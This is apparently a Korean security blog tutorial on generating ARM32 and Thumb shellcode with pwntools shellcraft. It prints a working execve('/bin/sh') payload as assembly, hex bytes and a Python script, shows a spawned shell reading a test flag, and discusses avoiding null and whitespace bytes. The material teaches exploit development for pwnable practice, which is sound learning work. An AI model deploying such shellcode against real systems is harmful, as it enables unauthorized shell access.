ARM Exploitation

ARM32 SHELLCODE 작성 (1) - pwntools shellcraft

Pwntools를 사용하면 익스플로잇을 위한 payload를 쉽게 작성할 수 있다. 뿐만 아니라 포함되어 있는 shellcraft라는 도구를 사용하면 쉘 코드를 자유자재로 만들어준다는 소문을 듣고 한번 써봤다.

이 글을 통해 arm32 (raspberry pi 3)에서 동작하는 쉘 코드 생성을 수행해 볼 것이다.

미리 결론부터 이야기하자면, 충분히 편리하고 가능성이 있어 보이는 프로젝트이지만 특히 ARM 환경에 대해서는 아직 가야 할 길이 조금 먼 듯하다. 아무래도 인텔에 비해 사용자가 적어서일까? 


포너블을 수행할 때 취약점을 정확히 식별하는 것도 어려울뿐더러 이후 익스플로잇 개발을 해야 되는데 이때 시도해서 만약 실패했다면, 이게 지금 내가 취약점을 잘못 찾은 건지, 아니면 취약점은 맞는데 페이로드를 잘못 만든 건지, 도대체 내가 쓴 쉘 코드가 제대로 동작하기는 하는 건지 어디서부터 뭐가 잘못됐는지를 모르는 그런 답답한 상황이 발생한다. 이런 경우 쉘 코드의 정확성마저 담보할 수 없다면 이는 엄청나게 치명적인 단점일 것이다.

우선 권장하기는 pwntools의 shellcraft를 통해 쉘 코드를 쉽게 만드는 법을 익히고 그 결과로 얻은 것들은 자신의 로컬 환경에서 충분히 테스트해보아야 할 것이다. 로컬에서 안 되는 것은 리모트에서 될 리가 없다. 다만 로컬에서 되는 게 리모트에서 안될 수는 있다. 따라서 궁극적으로는 shellcraft의 결과물을 이해하고 필요하다면 직접 수정할 수 있는 능력도 갖추길 권한다.


설치는 Python 3의 pwntools를 했다고 가정하고 과정은 생략한다.
아래의 명령어로 shellcraft의 명령어 도움말을 볼 수 있다.

$ shellcraft --help
usage: pwn shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a]
                      [-v AVOID] [-n] [-z] [-r] [--color] [--no-color]
                      [--syscalls] [--address ADDRESS] [-l] [-s]
                      [shellcode] [arg [arg ...]]

positional arguments:
  shellcode             The shellcode you want
  arg                   Argument to the chosen shellcode

optional arguments:
  -h, --help            show this help message and exit
  -?, --show            Show shellcode documentation
  -o file, --out file   Output file (default: stdout)
  -f format, --format format
                        Output format (default: hex), choose from {e}lf,
                        {r}aw, {s}tring, {c}-style array, {h}ex string,
                        hex{i}i, {a}ssembly code, {p}reprocssed code,
                        escape{d} hex string
  -d, --debug           Debug the shellcode with GDB
  -b, --before          Insert a debug trap before the code
  -a, --after           Insert a debug trap after the code
  -v AVOID, --avoid AVOID
                        Encode the shellcode to avoid the listed bytes
  -n, --newline         Encode the shellcode to avoid newlines
  -z, --zero            Encode the shellcode to avoid NULL bytes
  -r, --run             Run output
  --color               Color output
  --no-color            Disable color output
  --syscalls            List syscalls
  --address ADDRESS     Load address
  -l, --list            List available shellcodes, optionally provide a filter
  -s, --shared          Generated ELF is a shared library

-l 옵션으로 이미 완성되어있는 쉘 코드 목록을 볼 수 있는데, 그중 arm(32비트)나 thumb(16비트)를 활용할 것이다.

$ shellcraft -l |grep arm
arm.android.cacheflush
arm.android.cat
arm.android.connect
arm.android.dir
arm.android.echo
arm.android.egghunter
arm.android.forkbomb
arm.android.forkexit
arm.android.killparent
arm.android.open_file
arm.android.sh
arm.android.syscall
arm.crash
arm.freebsd.syscall
arm.infloop
arm.itoa
arm.linux.cacheflush
arm.linux.cat
arm.linux.connect
arm.linux.dir
arm.linux.echo
arm.linux.egghunter
arm.linux.forkbomb
arm.linux.forkexit
arm.linux.killparent
arm.linux.open_file
arm.linux.sh
arm.linux.syscall
arm.memcpy
arm.mov
arm.nop
arm.push
arm.pushstr
arm.pushstr_array
arm.ret
arm.setregs
arm.to_thumb
arm.trap
arm.udiv_10
arm.xor
thumb.to_arm

우선 arm linux에서 sh을 호출하는 쉘 코드다. 어셈블리 언어로 구현 내용을 볼 수 있다.

$ shellcraft -f a arm.linux.sh
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00AA' */
    movw r7, #0x41410068 & 0xffff
    movt r7, #0x41410068 >> 16
    push {r7}
    movw r7, #0x732f2f2f & 0xffff
    movt r7, #0x732f2f2f >> 16
    push {r7}
    movw r7, #0x6e69622f & 0xffff
    movt r7, #0x6e69622f >> 16
    push {r7}
    mov  r0, sp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00\x00' */
    movw r7, #0x6873
    push {r7}
    eor  r12, r12 /* 0 (#0) */
    push {r12} /* null terminate */
    mov  r1, #4
    add r1, sp
    mov  r12, r1
    push {r12} /* 'sh\x00' */
    mov  r1, sp
    eor  r2, r2 /* 0 (#0) */
    /* call execve() */
    mov  r7, #SYS_execve /* 0xb */
    svc  0

-o 옵션을 사용하면 .bin 파일로 추출하여 저장할 수 있다.

hexdump 명령어로 화면에 쉘 코드 문자열로 볼 수 있다.

$ shellcraft arm.linux.sh -o shellcode.bin
$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
\x68\x70\x00\xe3\x41\x71\x44\xe3\x04\x70\x2d\xe5\x2f\x7f\x02\xe3\x2f\x73\x47\xe3\x04\x70\x2d\xe5\x2f\x72\x06\xe3\x69\x7e\x46\xe3\x04\x70\x2d\xe5\x0d\x00\xa0\xe1\x73\x78\x06\xe3\x04\x70\x2d\xe5\x0c\xc0\x2c\xe0\x04\xc0\x2d\xe5\x04\x10\xa0\xe3\x0d\x10\x81\xe0\x01\xc0\xa0\xe1\x04\xc0\x2d\xe5\x0d\x10\xa0\xe1\x02\x20\x22\xe0\x0b\x70\xa0\xe3\x00\x00\x00\xef

이 쉘 코드를 테스트해보면 작동 자체는 되는 것처럼 보인다.

[*] Switching to interactive mode

$ whoami
pi
$ ls -l
total 4
-rw-r--r-- 1 pi pi 15 Nov  2 10:10 flag
$ cat flag
test flag file

하지만 이 쉘 코드에는 잠재적인 문제점이 존재한다.

이 코드 안에는 다수의 Nullbytes 가 존재한다. 이 경우 문자열 처리 함수에 의해 뒤의 내용이 생략될 수 있다. 따라서 Target 측 프로그램에서 payload 가 인식되지 않을 수 있다. 

그렇다면 해결 방법은 저 부분에서 빨간색으로 표시된 금지된 문자에 대해서, 이를 대체할 수 있는 다른 어셈블리 명령어를 사용하여 우회하는 것이다. 이를 DE-NULLIFYING 이라고 한다. 

참고로 ARM 에서는 THUMB 모드라는 꼼수가 존재한다. ARM32bit에서도 16bit에 해당하는 명령어 셋을 사용할 수 있도록 하는 것이다. 이를 통해 NULL 바이트가 출현할 확률 자체를 줄여줄 수 있다.

arm.to_thumb 명령어를 쓰면 어셈블리 언어 상으로 .thumb 모드로 전환해준다.

$ shellcraft -f a arm.to_thumb
    .arm
    add r3, pc, #1
    bx  r3
    .thumb

이후 thumb 의 sh 코드를 사용하자.

$ shellcraft -f a thumb.linux.sh
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    mov r7, #0x68
    push {r7}
    ldr r7, value_1
    b value_1_after
value_1: .word 0x732f2f2f
value_1_after:
    push {r7}
    ldr r7, value_2
    b value_2_after
value_2: .word 0x6e69622f
value_2_after:
    push {r7}
    mov r0, sp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00\x00' */
    mov r7, #(0x6873 >> 11)
    lsl r7, #11
    add r7, #(0x6873 & 0xff)
    push {r7}
    /* push 0 */
    eor r7, r7
    push {r7} /* null terminate */
    mov r1, #4
    add r1, sp
    push {r1} /* 'sh\x00' */
    mov r1, sp
    eor r2, r2
    /* call execve() */
    mov r7, #SYS_execve /* 0xb */
    svc 0x41

위의 두 코드를 실전적으로 Python에서 pwntools 를 사용하여 payload 생성에 활용해보자.

# Tested on 64bit Ubuntu, macOS
# Target : 32bit ARM, Raspberry Pi, Raspbian OS
# Python 3.7.6
# pwntools 4.2.2

from pwn import *

context.update(arch='arm', os='linux')
shellcode  = shellcraft.to_thumb()
shellcode += shellcraft.thumb.linux.sh()

# print(shellcode)

payload = b''
payload+= asm(shellcode)

print(hexdump(payload))
$ python3 shellcode.py
00000000  01 30 8f e2  13 ff 2f e1  4f f0 68 07  80 b4 df f8  │·0··│··/·│O·h·│····│
00000010  04 70 01 e0  2f 2f 2f 73  80 b4 df f8  04 70 01 e0  │·p··│///s│····│·p··│
00000020  2f 62 69 6e  80 b4 68 46  4f f0 0d 07  4f ea c7 27  │/bin│··hF│O···│O··'│
00000030  07 f1 73 07  80 b4 87 ea  07 07 80 b4  4f f0 04 01  │··s·│····│····│O···│
00000040  69 44 02 b4  69 46 82 ea  02 02 4f f0  0b 07 41 df  │iD··│iF··│··O·│··A·│

이 쉘 코드에는 Null-bytes가 없으며, 테스트해보면 잘 작동한다.

그럼에도 불구하고 또 하나의 문제가 있음을 발견했다. 만약 Target 프로그램이 어떤 처리 함수를 사용하느냐에 따라서 Nullbytes가 아니더라도 추가적인 예외 문자를 가지고 있는 경우가 있다. 예를 들어 scanf의 경우 09, 0a, 0b, 0c, 0d, 20 등을 whitespace 로 처리하고 있다. 보다시피 이 경우에는 0b와 0d가 포함되어 있다.

이런 식이라면 하나하나 불필요한 문자가 발생하는 위치를 찾고 그에 대응되는 명령어를 변경하는 방식으로 DE-NULLIFYING을 다시 수행해야 한다. 그러면 오히려 이 작업 자체가 배보다 배꼽이 더 큰 격일 수 있다. 편하려고 shellcraft를 써보려 했던 건데 이럴 거라면 shellcraft를 이용할 필요가 없이 애초에 첨부터 어셈블리로 코딩을 할 줄 아는 것이 낫지 않겠는가?

다음 포스팅에서는 직접 arm 및 thumb assembly 로 쉘 코드를 작성하는 과정을 올리려고 한다.

Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.